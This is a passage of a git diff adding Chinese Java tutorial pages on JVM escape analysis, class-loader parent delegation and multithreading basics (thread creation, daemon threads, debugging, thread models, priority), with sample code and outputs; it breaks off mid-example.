+逃逸分析(Escape Analysis)是目前Java虚拟机中比较前沿的优化技术。这是一种可以有效减少Java 程序中同步负载和内存堆分配压力的跨函数全局数据流分析算法。通过逃逸分析,Java Hotspot编译器能够分析出一个新的对象的引用的使用范围从而决定是否要将这个对象分配到堆上。
+
+逃逸分析的基本行为就是分析对象动态作用域:当一个对象在方法中被定义后,它可能被外部方法所引用,例如作为调用参数传递到其他地方中,称为方法逃逸。
+
+例如:
+
+ public static StringBuffer craeteStringBuffer(String s1, String s2) {
+ StringBuffer sb = new StringBuffer();
+ sb.append(s1);
+ sb.append(s2);
+ return sb;
+ }
+
+
+StringBuffer sb是一个方法内部变量,上述代码中直接将sb返回,这样这个StringBuffer有可能被其他方法所改变,这样它的作用域就不只是在方法内部,虽然它是一个局部变量,称其逃逸到了方法外部。甚至还有可能被外部线程访问到,譬如赋值给类变量或可以在其他线程中访问的实例变量,称为线程逃逸。
+
+上述代码如果想要StringBuffer sb不逃出方法,可以这样写:
+
+ public static String createStringBuffer(String s1, String s2) {
+ StringBuffer sb = new StringBuffer();
+ sb.append(s1);
+ sb.append(s2);
+ return sb.toString();
+ }
+
+
+不直接返回 StringBuffer,那么StringBuffer将不会逃逸出方法。
+
+使用逃逸分析,编译器可以对代码做如下优化:
+
+一、同步省略。如果一个对象被发现只能从一个线程被访问到,那么对于这个对象的操作可以不考虑同步。
+
+二、将堆分配转化为栈分配。如果一个对象在子程序中被分配,要使指向该对象的指针永远不会逃逸,对象可能是栈分配的候选,而不是堆分配。
+
+三、分离对象或标量替换。有的对象可能不需要作为一个连续的内存结构存在也可以被访问到,那么对象的部分(或全部)可以不存储在内存,而是存储在CPU寄存器中。
+
+上面的关于同步省略的内容,我在《[深入理解多线程(五)—— Java虚拟机的锁优化技术][1]》中有介绍过,即锁优化中的锁消除技术,依赖的也是逃逸分析技术。
+
+本文,主要来介绍逃逸分析的第二个用途:将堆分配转化为栈分配。
+
+> 其实,以上三种优化中,栈上内存分配其实是依靠标量替换来实现的。由于不是本文重点,这里就不展开介绍了。如果大家感兴趣,我后面专门出一篇文章,全面介绍下逃逸分析。
+
+在Java代码运行时,通过JVM参数可指定是否开启逃逸分析, `-XX:+DoEscapeAnalysis` : 表示开启逃逸分析 `-XX:-DoEscapeAnalysis` : 表示关闭逃逸分析 从jdk 1.7开始已经默认开始逃逸分析,如需关闭,需要指定`-XX:-DoEscapeAnalysis`
+
+### 对象的栈上内存分配
+
+我们知道,在一般情况下,对象和数组元素的内存分配是在堆内存上进行的。但是随着JIT编译器的日渐成熟,很多优化使这种分配策略并不绝对。JIT编译器就可以在编译期间根据逃逸分析的结果,来决定是否可以将对象的内存分配从堆转化为栈。
+
+我们来看以下代码:
+
+ public static void main(String[] args) {
+ long a1 = System.currentTimeMillis();
+ for (int i = 0; i < 1000000; i++) {
+ alloc();
+ }
+ // 查看执行时间
+ long a2 = System.currentTimeMillis();
+ System.out.println("cost " + (a2 - a1) + " ms");
+ // 为了方便查看堆内存中对象个数,线程sleep
+ try {
+ Thread.sleep(100000);
+ } catch (InterruptedException e1) {
+ e1.printStackTrace();
+ }
+ }
+
+ private static void alloc() {
+ User user = new User();
+ }
+
+ static class User {
+
+ }
+
+
+其实代码内容很简单,就是使用for循环,在代码中创建100万个User对象。
+
+**我们在alloc方法中定义了User对象,但是并没有在方法外部引用他。也就是说,这个对象并不会逃逸到alloc外部。经过JIT的逃逸分析之后,就可以对其内存分配进行优化。**
+
+我们指定以下JVM参数并运行:
+
+ -Xmx4G -Xms4G -XX:-DoEscapeAnalysis -XX:+PrintGCDetails -XX:+HeapDumpOnOutOfMemoryError
+
+
+在程序打印出 `cost XX ms` 后,代码运行结束之前,我们使用`[jmap][1]`命令,来查看下当前堆内存中有多少个User对象:
+
+ ➜ ~ jps
+ 2809 StackAllocTest
+ 2810 Jps
+ ➜ ~ jmap -histo 2809
+
+ num #instances #bytes class name
+ ----------------------------------------------
+ 1: 524 87282184 [I
+ 2: 1000000 16000000 StackAllocTest$User
+ 3: 6806 2093136 [B
+ 4: 8006 1320872 [C
+ 5: 4188 100512 java.lang.String
+ 6: 581 66304 java.lang.Class
+
+
+从上面的jmap执行结果中我们可以看到,堆中共创建了100万个`StackAllocTest$User`实例。
+
+在关闭逃避分析的情况下(-XX:-DoEscapeAnalysis),虽然在alloc方法中创建的User对象并没有逃逸到方法外部,但是还是被分配在堆内存中。也就说,如果没有JIT编译器优化,没有逃逸分析技术,正常情况下就应该是这样的。即所有对象都分配到堆内存中。
+
+接下来,我们开启逃逸分析,再来执行下以上代码。
+
+ -Xmx4G -Xms4G -XX:+DoEscapeAnalysis -XX:+PrintGCDetails -XX:+HeapDumpOnOutOfMemoryError
+
+
+在程序打印出 `cost XX ms` 后,代码运行结束之前,我们使用`jmap`命令,来查看下当前堆内存中有多少个User对象:
+
+ ➜ ~ jps
+ 709
+ 2858 Launcher
+ 2859 StackAllocTest
+ 2860 Jps
+ ➜ ~ jmap -histo 2859
+
+ num #instances #bytes class name
+ ----------------------------------------------
+ 1: 524 101944280 [I
+ 2: 6806 2093136 [B
+ 3: 83619 1337904 StackAllocTest$User
+ 4: 8006 1320872 [C
+ 5: 4188 100512 java.lang.String
+ 6: 581 66304 java.lang.Class
+
+
+从以上打印结果中可以发现,开启了逃逸分析之后(-XX:+DoEscapeAnalysis),在堆内存中只有8万多个`StackAllocTest$User`对象。也就是说在经过JIT优化之后,堆内存中分配的对象数量,从100万降到了8万。
+
+> 除了以上通过jmap验证对象个数的方法以外,读者还可以尝试将堆内存调小,然后执行以上代码,根据GC的次数来分析,也能发现,开启了逃逸分析之后,在运行期间,GC次数会明显减少。正是因为很多堆上分配被优化成了栈上分配,所以GC次数有了明显的减少。
+
+### 总结
+
+所以,如果以后再有人问你:是不是所有的对象和数组都会在堆内存分配空间?
+
+那么你可以告诉他:不一定,随着JIT编译器的发展,在编译期间,如果JIT经过逃逸分析,发现有些对象没有逃逸出方法,那么有可能堆内存分配会被优化成栈内存分配。但是这也并不是绝对的。就像我们前面看到的一样,在开启逃逸分析之后,也并不是所有User对象都没有在堆上分配。
+
+ [1]: http://www.hollischuang.com/archives/2344
\ No newline at end of file
diff --git a/docs/basement/jvm/tomcat-parents-delegate.md b/docs/basement/jvm/tomcat-parents-delegate.md
new file mode 100644
index 00000000..4a04a7b1
--- /dev/null
+++ b/docs/basement/jvm/tomcat-parents-delegate.md
@@ -0,0 +1,11 @@
+我们知道,Tomcat是web容器,那么一个web容器可能需要部署多个应用程序。
+
+不同的应用程序可能会依赖同一个第三方类库的不同版本,但是不同版本的类库中某一个类的全路径名可能是一样的。
+
+如多个应用都要依赖hollis.jar,但是A应用需要依赖1.0.0版本,但是B应用需要依赖1.0.1版本。这两个版本中都有一个类是com.hollis.Test.class。
+
+**如果采用默认的双亲委派类加载机制,那么是无法加载多个相同的类。**
+
+所以,**Tomcat破坏双亲委派原则,提供隔离的机制,为每个web容器单独提供一个WebAppClassLoader加载器。**
+
+Tomcat的类加载机制:为了实现隔离性,优先加载 Web 应用自己定义的类,所以没有遵照双亲委派的约定,每一个应用自己的类加载器——WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。
\ No newline at end of file
diff --git a/docs/basement/jvm/why-parents-delegate.md b/docs/basement/jvm/why-parents-delegate.md
new file mode 100644
index 00000000..83e88e20
--- /dev/null
+++ b/docs/basement/jvm/why-parents-delegate.md
@@ -0,0 +1,15 @@
+如前文我们提到的,因为类加载器之间有严格的层次关系,那么也就使得Java类也随之具备了层次关系。
+
+或者说这种层次关系是优先级。
+
+比如一个定义在java.lang包下的类,因为它被存放在rt.jar之中,所以在被加载过程汇总,会被一直委托到Bootstrap ClassLoader,最终由Bootstrap ClassLoader所加载。
+
+而一个用户自定义的com.hollis.ClassHollis类,他也会被一直委托到Bootstrap ClassLoader,但是因为Bootstrap ClassLoader不负责加载该类,那么会在由Extention ClassLoader尝试加载,而Extention ClassLoader也不负责这个类的加载,最终才会被Application ClassLoader加载。
+
+这种机制有几个好处。
+
+首先,通过委派的方式,可以避免类的重复加载,当父加载器已经加载过某一个类时,子加载器就不会再重新加载这个类。
+
+另外,通过双亲委派的方式,还保证了安全性。因为Bootstrap ClassLoader在加载的时候,只会加载JAVA_HOME中的jar包里面的类,如java.lang.Integer,那么这个类是不会被随意替换的,除非有人跑到你的机器上, 破坏你的JDK。
+
+那么,就可以避免有人自定义一个有破坏功能的java.lang.Integer被加载。这样可以有效的防止核心Java API被篡改。
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/concurrent-vs-parallel.md b/docs/basics/concurrent-coding/concurrent-vs-parallel.md
new file mode 100644
index 00000000..d815168d
--- /dev/null
+++ b/docs/basics/concurrent-coding/concurrent-vs-parallel.md
@@ -0,0 +1,7 @@
+Erlang 之父 Joe Armstrong 用一张比较形象的图解释了并发与并行的区别:
+
+
+
+并发是两个队伍交替使用一台咖啡机。并行是两个队伍同时使用两台咖啡机。
+
+映射到计算机系统中,上图中的咖啡机就是CPU,两个队伍指的就是两个进程。
diff --git a/docs/basics/concurrent-coding/concurrent.md b/docs/basics/concurrent-coding/concurrent.md
new file mode 100644
index 00000000..3685a1bb
--- /dev/null
+++ b/docs/basics/concurrent-coding/concurrent.md
@@ -0,0 +1,13 @@
+并发(Concurrent),在操作系统中,是指一个时间段中有几个程序都处于已启动运行到运行完毕之间,且这几个程序都是在同一个处理机上运行。
+
+那么,操作系统是如何实现这种并发的呢?
+
+现在我们用到操作系统,无论是Windows、Linux还是MacOS等其实都是**多用户多任务分时操作系统**。使用这些操作系统的用户是可以“同时”干多件事的。
+
+但是实际上,对于单CPU的计算机来说,在CPU中,同一时间是只能干一件事儿的。为了看起来像是“同时干多件事”,分时操作系统是把CPU的时间划分成长短基本相同的时间区间,即”时间片”,通过操作系统的管理,把这些时间片依次轮流地分配给各个用户使用。
+
+如果某个作业在时间片结束之前,整个任务还没有完成,那么该作业就被暂停下来,放弃CPU,等待下一轮循环再继续做.此时CPU又分配给另一个作业去使用。
+
+由于计算机的处理速度很快,只要时间片的间隔取得适当,那么一个用户作业从用完分配给它的一个时间片到获得下一个CPU时间片,中间有所”停顿”,但用户察觉不出来,好像整个系统全由它”独占”似的。
+
+所以,在单CPU的计算机中,我们看起来“同时干多件事”,其实是通过CPU时间片技术,并发完成的。
diff --git a/docs/basics/concurrent-coding/create-thread-with-Implement.md b/docs/basics/concurrent-coding/create-thread-with-Implement.md
new file mode 100644
index 00000000..a94fd0fd
--- /dev/null
+++ b/docs/basics/concurrent-coding/create-thread-with-Implement.md
@@ -0,0 +1,39 @@
+
+
+ public class MultiThreads {
+ public static void main(String[] args) throws InterruptedException {
+ System.out.println(Thread.currentThread().getName());
+
+
+ System.out.println("实现Runnable接口创建线程");
+ RunnableThread runnableThread = new RunnableThread();
+ new Thread(runnableThread).start();
+
+ }
+ }
+
+ class RunnableThread implements Runnable {
+
+ @Override
+ public void run() {
+ System.out.println(Thread.currentThread().getName());
+ }
+ }
+
+
+输出结果:
+
+ main
+ 实现Runnable接口创建线程
+ Thread-1
+
+
+通过实现接口,同样覆盖`run()`就可以创建一个新的线程了。
+
+我们都知道,Java是不支持多继承的,所以,使用Runnbale接口的形式,就可以避免要多继承 。比如有一个类A,已经继承了类B,就无法再继承Thread类了,这时候要想实现多线程,就需要使用Runnable接口了。
+
+除此之外,两者之间几乎无差别。
+
+但是,这两种创建线程的方式,其实是有一个缺点的,那就是:在执行完任务之后无法获取执行结果。
+
+如果我们希望再主线程中得到子线程的执行结果的话,就需要用到Callable和FutureTask
diff --git a/docs/basics/concurrent-coding/create-thread-with-callback-future-task.md b/docs/basics/concurrent-coding/create-thread-with-callback-future-task.md
new file mode 100644
index 00000000..062b7cea
--- /dev/null
+++ b/docs/basics/concurrent-coding/create-thread-with-callback-future-task.md
@@ -0,0 +1,57 @@
+自从Java 1.5开始,提供了Callable和Future,通过它们可以在任务执行完毕之后得到任务执行结果。
+
+ public class MultiThreads {
+ public static void main(String[] args) throws InterruptedException {
+ CallableThread callableThread = new CallableThread();
+ FutureTask futureTask = new FutureTask<>(callableThread);
+ new Thread(futureTask).start();
+ System.out.println(futureTask.get());
+ }
+
+ class CallableThread implements Callable {
+ @Override
+ public Object call() throws Exception {
+ System.out.println(Thread.currentThread().getName());
+ return "Hollis";
+ }
+
+ }
+
+
+输出结果:
+
+ main
+ 通过Callable和FutureTask创建线程
+ Thread-2
+ Hollis
+
+
+Callable位于java.util.concurrent包下,它也是一个接口,在它里面也只声明了一个方法,只不过这个方法call(),和Runnable接口中的run()方法不同的是,call()方法有返回值。
+
+以上代码中,我们在CallableThread的call方法中返回字符串"Hollis",在主线程是可以获取到的。
+
+FutureTask可用于异步获取执行结果或取消执行任务的场景。通过传入Callable的任务给FutureTask,直接调用其run方法或者放入线程池执行,之后可以在外部通过FutureTask的get方法异步获取执行结果,因此,FutureTask非常适合用于耗时的计算,主线程可以在完成自己的任务后,再去获取结果。
+
+另外,FutureTask还可以确保即使调用了多次run方法,它都只会执行一次Runnable或者Callable任务,或者通过cancel取消FutureTask的执行等。
+
+值得注意的是,`futureTask.get()`会阻塞主线程,一直等子线程执行完并返回后才能继续执行主线程后面的代码。
+
+一般,在Callable执行完之前的这段时间,主线程可以先去做一些其他的事情,事情都做完之后,再获取Callable的返回结果。可以通过`isDone()`来判断子线程是否执行完。
+
+以上代码改造下就是如下内容:
+
+ public class MultiThreads {
+ public static void main(String[] args) throws InterruptedException {
+ CallableThread callableThread = new CallableThread();
+ FutureTask futureTask = new FutureTask<>(callableThread);
+ new Thread(futureTask).start();
+
+ System.out.println("主线程先做其他重要的事情");
+ if(!futureTask.isDone()){
+ // 继续做其他事儿
+ }
+ System.out.println(future.get()); // 可能会阻塞等待结果
+ }
+
+
+一般,我们会把Callable放到线程池中,然后让线程池去执行Callable中的代码。关于线程池前面介绍过了,是一种避免重复创建线程的开销的技术手段,线程池也可以用来创建线程。
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/create-thread-with-extends.md b/docs/basics/concurrent-coding/create-thread-with-extends.md
new file mode 100644
index 00000000..1e7b8060
--- /dev/null
+++ b/docs/basics/concurrent-coding/create-thread-with-extends.md
@@ -0,0 +1,41 @@
+
+
+ /**
+ * @author Hollis
+ */
+ public class MultiThreads {
+
+ public static void main(String[] args) throws InterruptedException {
+ System.out.println(Thread.currentThread().getName());
+
+ System.out.println("继承Thread类创建线程");
+ SubClassThread subClassThread = new SubClassThread();
+ subClassThread.start();
+ }
+ }
+
+ class SubClassThread extends Thread {
+
+ @Override
+ public void run() {
+ System.out.println(getName());
+ }
+ }
+
+
+输出结果:
+
+ main
+ 继承Thread类创建线程
+ Thread-0
+
+
+SubClassThread是一个继承了Thread类的子类,继承Thread类,并重写其中的run方法。然后new 一个SubClassThread的对象,并调用其start方法,即可启动一个线程。之后就会运行run中的代码。
+
+每个线程都是通过某个特定Thread对象所对应的方法`run()`来完成其操作的,方法`run()`称为线程体。通过调用Thread类的`start()`方法来启动一个线程。
+
+在主线程中,调用了子线程的`start()`方法后,主线程无需等待子线程的执行,即可执行后续的代码。而子线程便会开始执行其`run()`方法。
+
+当然,`run()`方法也是一个公有方法,在main函数中也可以直接调用这个方法,但是直接调用`run()`的话,主线程就需要等待其执行完,这种情况下,`run()`就是一个普通方法。
+
+如果读者感兴趣的话,查看一下前面介绍的Thread的源码,就可以发现,他继承了一个接口,那就是`java.lang.Runnable`,其实,开发者在代码中也可以直接通过这个接口创建一个新的线程。
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/create-thread-with-thead-pool.md b/docs/basics/concurrent-coding/create-thread-with-thead-pool.md
new file mode 100644
index 00000000..68a869e3
--- /dev/null
+++ b/docs/basics/concurrent-coding/create-thread-with-thead-pool.md
@@ -0,0 +1,28 @@
+Java中提供了对线程池的支持,有很多种方式。Jdk提供给外部的接口也很简单。直接调用ThreadPoolExecutor构造一个就可以了:
+
+ public class MultiThreads {
+ public static void main(String[] args) throws InterruptedException, ExecutionException {
+ System.out.println(Thread.currentThread().getName());
+ System.out.println("通过线程池创建线程");
+ ExecutorService executorService = new ThreadPoolExecutor(1, 1, 60L, TimeUnit.SECONDS,
+ new ArrayBlockingQueue(10));
+ executorService.execute(new Runnable() {
+ @Override
+ public void run() {
+ System.out.println(Thread.currentThread().getName());
+ }
+ });
+ }
+ }
+
+
+输出结果:
+
+ main
+ 通过线程池创建线程
+ pool-1-thread-1
+
+
+所谓线程池本质是一个hashSet。多余的任务会放在阻塞队列中。
+
+线程池的创建方式其实也有很多,也可以通过Executors静态工厂构建,但一般不建议。建议使用线程池来创建线程,并且建议使用带有ThreadFactory参数的ThreadPoolExecutor(需要依赖guava)构造方法设置线程名字,具体原因我们在后面的章节中在详细介绍。
\ No newline at end of file
diff --git a/basics/java-basic/deadlock-java-level.md b/docs/basics/concurrent-coding/deadlock-java-level.md
similarity index 100%
rename from basics/java-basic/deadlock-java-level.md
rename to docs/basics/concurrent-coding/deadlock-java-level.md
diff --git a/docs/basics/concurrent-coding/deamon-thread.md b/docs/basics/concurrent-coding/deamon-thread.md
new file mode 100644
index 00000000..694ebc30
--- /dev/null
+++ b/docs/basics/concurrent-coding/deamon-thread.md
@@ -0,0 +1,111 @@
+在Java中有两类线程:User Thread(用户线程)、Daemon Thread(守护线程) 。用户线程一般用户执行用户级任务,而守护线程也就是“后台线程”,一般用来执行后台任务,守护线程最典型的应用就是GC(垃圾回收器)。
+
+这两种线程其实是没有什么区别的,唯一的区别就是Java虚拟机在所有“用户线程”都结束后就会退出。
+
+我们可以通过使用`setDaemon()`方法通过传递true作为参数,使线程成为一个守护线程。我们必须在启动线程之前调用一个线程的`setDaemon()`方法。否则,就会抛出一个`java.lang.IllegalThreadStateException`。
+
+可以使用`isDaemon()`方法来检查线程是否是守护线程。
+
+ /**
+ * @author Hollis
+ */
+ public class Main {
+ public static void main(String[] args) {
+
+ Thread t1 = new Thread();
+ System.out.println(t1.isDaemon());
+ t1.setDaemon(true);
+ System.out.println(t1.isDaemon());
+ t1.start();
+ t1.setDaemon(false);
+ }
+ }
+
+
+以上代码输出结果:
+
+ false
+ true
+ Exception in thread "main" java.lang.IllegalThreadStateException
+ at java.lang.Thread.setDaemon(Thread.java:1359)
+ at com.hollis.Main.main(Main.java:16)
+
+
+我们提到,当JVM中只剩下守护线程的时候,JVM就会退出,那么写一段代码测试下:
+
+ /**
+ * @author Hollis
+ */
+ public class Main {
+ public static void main(String[] args) {
+
+ Thread childThread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ while (true) {
+ System.out.println("I'm child thread..");
+ try {
+ TimeUnit.MILLISECONDS.sleep(1000);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+ });
+ childThread.start();
+ System.out.println("I'm main thread...");
+ }
+ }
+
+
+以上代码中,我们在Main线程中开启了一个子线程,在并没有显示将其设置为守护线程的情况下,他是一个用户线程,代码比较好理解,就是子线程处于一个while(true)循环中,每隔一秒打印一次`I'm child thread..`
+
+输出结果为:
+
+ I'm main thread...
+ I'm child thread..
+ I'm child thread..
+ .....
+ I'm child thread..
+ I'm child thread..
+
+
+我们再把子线程设置成守护线程,重新运行以上代码。
+
+ /**
+ * @author Hollis
+ */
+ public class Main {
+ public static void main(String[] args) {
+
+ Thread childThread = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ while (true) {
+ System.out.println("I'm child thread..");
+ try {
+ TimeUnit.MILLISECONDS.sleep(1000);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+ });
+ childThread.setDaemon(true);
+ childThread.start();
+ System.out.println("I'm main thread...");
+ }
+ }
+
+
+以上代码,我们通过`childThread.setDaemon(true);`把子线程设置成守护线程,然后运行,得到以下结果:
+
+ I'm main thread...
+ I'm child thread..
+
+
+子线程只打印了一次,也就是,在main线程执行结束后,由于子线程是一个守护线程,JVM就会直接退出了。
+
+**值得注意的是,在Daemon线程中产生的新线程也是Daemon的。**
+
+提到线程,有一个很重要的东西我们需要介绍一下,那就是ThreadLocal。
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/debug-in-multithread.md b/docs/basics/concurrent-coding/debug-in-multithread.md
new file mode 100644
index 00000000..056f6e19
--- /dev/null
+++ b/docs/basics/concurrent-coding/debug-in-multithread.md
@@ -0,0 +1,69 @@
+在学习过了前面几篇文章之后,相信很多人对于Java中的多线程都有了一定的了解,相信很多读者已经尝试过中写一些多线程的代码了。
+
+但是我之前面试过很多人,很多人都知道多线程怎么实现,但是却不知道如何调试多线程的代码,这篇文章我们来介绍下如何调试多线程的代码。
+
+首先我们写一个多线程的例子,使用实现Runnable接口的方式定义多个线程,并启动执行。
+
+ /**
+ * @author Hollis
+ */
+ public class MultiThreadDebug {
+
+ public static void main(String[] args) {
+ MyThread myThread = new MyThread();
+
+ Thread thread1 = new Thread(myThread, "thread 1");
+ Thread thread2 = new Thread(myThread, "thread 2");
+ Thread thread3 = new Thread(myThread, "thread 3");
+
+ thread1.start();
+
+ thread2.start();
+
+ thread3.start();
+ }
+ }
+
+ class MyThread implements Runnable {
+
+ @Override
+ public void run() {
+ System.out.println(Thread.currentThread().getName() + " running");
+ }
+ }
+
+ 我们尝试在代码中设置断点,并使用debug模式启动。
+
+
+![][1]
+
+如题,程序启动后,会进入一个线程的断点中,我们尝试看一下当前是哪个线程:
+
+![][2]
+
+发现是thread 1进入了断点。接着,我们尝试让代码继续执行,代码就直接结束运行,并且控制台打印如下:
+
+ Connected to the target VM, address: '127.0.0.1:55768', transport: 'socket'
+ thread 3 running
+ Disconnected from the target VM, address: '127.0.0.1:55768', transport: 'socket'
+ thread 2 running
+ thread 1 running
+
+ Process finished with exit code 0
+
+
+如果我们多次执行这个代码,就会发现,每一次打印的结果都不一样,三个线程的输出顺序是随机的,并且每一次debug只会进入到一个线程的执行。
+
+每次执行结果随即是因为不一定哪个线程可以先获得CPU时间片。
+
+那么,我们怎么才能让每一个线程的执行都能被debug呢?如何在多线程中进行debug排查问题呢?
+
+其实,在IDEA中有一个设置,那就是当我们在断点处单击鼠标右键就会弹出一个设置对话框,当我们把其中的All 修改为 Thread之后,尝试重新执行debug代码。
+
+![][3]
+
+重新执行之后,就可以发现,每一个线程都会进入到断点当中了。
+
+ [1]: https://www.hollischuang.com/wp-content/uploads/2020/11/16065562943648.jpg
+ [2]: https://www.hollischuang.com/wp-content/uploads/2020/11/16065563249582.jpg
+ [3]: https://www.hollischuang.com/wp-content/uploads/2020/11/16065565440571.jpg
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/implement-of-thread.md b/docs/basics/concurrent-coding/implement-of-thread.md
new file mode 100644
index 00000000..d65dc721
--- /dev/null
+++ b/docs/basics/concurrent-coding/implement-of-thread.md
@@ -0,0 +1,44 @@
+主流的操作系统都提供了线程实现,实现线程主要有3种方式:使用内核线程实现、使用用户线程实现和使用用户线程加轻量级进程混合实现。
+
+## 使用内核线程实现
+
+内核线程(Kernel-Level Thread,KLT)就是直接由操作系统内核(Kernel,下称内核)支持的线程,这种线程由内核来完成线程切换,内核通过操纵调度器(Scheduler)对线程进行调度,并负责将线程的任务映射到各个处理器上。每个内核线程可以视为内核的一个分身,这样操作系统就有能力同时处理多件事情,支持多线程的内核就叫做多线程内核(Multi-Threads Kernel)。
+
+ 程序一般不会直接去使用内核线程,而是去使用内核线程的一种高级接口——轻量级进程(Light Weight Process,LWP),轻量级进程就是我们通常意义上所讲的线程,由于每个轻量级进程都由一个内核线程支持,因此只有先支持内核线程,才能有轻量级进程。这种轻量级进程与内核线程之间1:1的关系称为一对一的线程模型,如图所示。
+
+![][1]
+
+ 由于内核线程的支持,每个轻量级进程都成为一个独立的调度单元,即使有一个轻量级进程在系统调用中阻塞了,也不会影响整个进程继续工作,但是轻量级进程具有它的局限性:首先,由于是基于内核线程实现的,所以各种线程操作,如创建、析构及同步,都需要进行系统调用。而系统调用的代价相对较高,需要在用户态(User Mode)和内核态(Kernel Mode)中来回切换。其次,每个轻量级进程都需要有一个内核线程的支持,因此轻量级进程要消耗一定的内核资源(如内核线程的栈空间),因此一个系统支持轻量级进程的数量是有限的。
+
+## 使用用户线程实现
+
+ 从广义上来讲,一个线程只要不是内核线程,就可以认为是用户线程(User Thread,UT),因此,从这个定义上来讲,轻量级进程也属于用户线程,但轻量级进程的实现始终是建立在内核之上的,许多操作都要进行系统调用,效率会受到限制。
+
+ 而狭义上的用户线程指的是完全建立在用户空间的线程库上,系统内核不能感知线程存在的实现。用户线程的建立、同步、销毁和调度完全在用户态中完成,不需要内核的帮助。如果程序实现得当,这种线程不需要切换到内核态,因此操作可以是非常快速且低消耗的,也可以支持规模更大的线程数量,部分高性能数据库中的多线程就是由用户线程实现的。这种进程与用户线程之间1:N的关系称为一对多的线程模型,如图所示。
+
+![][2]
+
+ 使用用户线程的优势在于不需要系统内核支援,劣势也在于没有系统内核的支援,所有的线程操作都需要用户程序自己处理。线程的创建、切换和调度都是需要考虑的问题,而且由于操作系统只把处理器资源分配到进程,那诸如“阻塞如何处理”、“多处理器系统中如何将线程映射到其他处理器上”这类问题解决起来将会异常困难,甚至不可能完成。因而使用用户线程实现的程序一般都比较复杂 ,除了以前在不支持多线程的操作系统中(如DOS)的多线程程序与少数有特殊需求的程序外,现在使用用户线程的程序越来越少了,Java、Ruby等语言都曾经使用过用户线程,最终又都放弃使用它。
+
+## 使用用户线程加轻量级进程混合实现
+
+线程除了依赖内核线程实现和完全由用户程序自己实现之外,还有一种将内核线程与用户线程一起使用的实现方式。在这种混合实现下,既存在用户线程,也存在轻量级进程。用户线程还是完全建立在用户空间中,因此用户线程的创建、切换、析构等操作依然廉价,并且可以支持大规模的用户线程并发。而操作系统提供支持的轻量级进程则作为用户线程和内核线程之间的桥梁,这样可以使用内核提供的线程调度功能及处理器映射,并且用户线程的系统调用要通过轻量级线程来完成,大大降低了整个进程被完全阻塞的风险。在这种混合模式中,用户线程与轻量级进程的数量比是不定的,即为N:M的关系,如图12-5所示,这种就是多对多的线程模型。
+
+许多UNIX系列的操作系统,如Solaris、HP-UX等都提供了N:M的线程模型实现。
+
+![][3]
+
+## Java线程的实现
+
+ Java线程在JDK 1.2之前,是基于称为“绿色线程”(Green Threads)的用户线程实现的,而在JDK 1.2中,线程模型替换为基于操作系统原生线程模型来实现。因此,在目前的JDK版本中,操作系统支持怎样的线程模型,在很大程度上决定了Java虚拟机的线程是怎样映射的,这点在不同的平台上没有办法达成一致,虚拟机规范中也并未限定Java线程需要使用哪种线程模型来实现。线程模型只对线程的并发规模和操作成本产生影响,对Java程序的编码和运行过程来说,这些差异都是透明的。
+
+ 对于Sun JDK来说,它的Windows版与Linux版都是使用一对一的线程模型实现的,一条Java线程就映射到一条轻量级进程之中,因为Windows和Linux系统提供的线程模型就是一对一的。
+
+ 而在Solaris平台中,由于操作系统的线程特性可以同时支持一对一(通过Bound Threads或Alternate Libthread实现)及多对多(通过LWP/Thread Based Synchronization实现)的线程模型,因此在Solaris版的JDK中也对应提供了两个平台专有的虚拟机参数:-XX:+UseLWPSynchronization(默认值)和-XX:+UseBoundThreads来明确指定虚拟机使用哪种线程模型。 Java语言则提供了在不同硬件和操作系统平台下对线程操作的统一处理,每个已经执行start()且还未结束的java.lang.Thread类的实例就代表了一个线程。我们注意到Thread类与大部分的Java API有显著的差别,它的所有关键方法都是声明为Native的。在Java API中,一个Native方法往往意味着这个方法没有使用或无法使用平台无关的手段来实现(当然也可能是为了执行效率而使用Native方法,不过,通常最高效率的手段也就是平台相关的手段)。
+
+(参考:深入理解Java虚拟机)
+
+
+ [1]: http://www.hollischuang.com/wp-content/uploads/2018/12/15442554190788.jpg
+ [2]: http://www.hollischuang.com/wp-content/uploads/2018/12/15442554407298.jpg
+ [3]: http://www.hollischuang.com/wp-content/uploads/2018/12/15442554705166.jpg
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/parallel.md b/docs/basics/concurrent-coding/parallel.md
new file mode 100644
index 00000000..2ab6b0d0
--- /dev/null
+++ b/docs/basics/concurrent-coding/parallel.md
@@ -0,0 +1,2 @@
+
+并行(Parallel),当系统有一个以上CPU时,当一个CPU执行一个进程时,另一个CPU可以执行另一个进程,两个进程互不抢占CPU资源,可以同时进行,这种方式我们称之为并行(Parallel)。
\ No newline at end of file
diff --git a/docs/basics/concurrent-coding/priority-of-thread.md b/docs/basics/concurrent-coding/priority-of-thread.md
new file mode 100644
index 00000000..8ea2e449
--- /dev/null
+++ b/docs/basics/concurrent-coding/priority-of-thread.md
@@ -0,0 +1,61 @@
+我们学习过,Java虚拟机采用抢占式调度模型。也就是说他会给优先级更高的线程优先分配CPU。
+
+虽然Java线程调度是系统自动完成的,但是我们还是可以“建议”系统给某些线程多分配一点执行时间,另外的一些线程则可以少分配一点——这项操作可以通过设置线程优先级来完成。
+
+Java语言一共设置了10个级别的线程优先级(Thread.MIN_PRIORITY至Thread.MAX_PRIORITY),在两个线程同时处于Ready状态时,优先级越高的线程越容易被系统选择执行。
+
+Java 线程优先级使用 1 ~ 10 的整数表示。默认的优先级是5。
+
+ 最低优先级 1:Thread.MIN_PRIORITY
+
+ 最高优先级 10:Thread.MAX_PRIORITY
+
+ 普通优先级 5:Thread.NORM_PRIORITY
+
+
+在Java中,可以使用Thread类的`setPriority()`方法为线程设置了新的优先级。`getPriority()`方法返回线程的当前优先级。当创建一个线程时,其默认优先级是创建该线程的线程的优先级。
+
+以下代码演示如何设置和获取线程的优先:
+
+ /**
+ * @author Hollis
+ */
+ public class Main {
+
+ public static void main(String[] args) {
+ Thread t = Thread.currentThread();
+ System.out.println("Main Thread Priority:" + t.getPriority());
+
+ Thread t1 = new Thread();
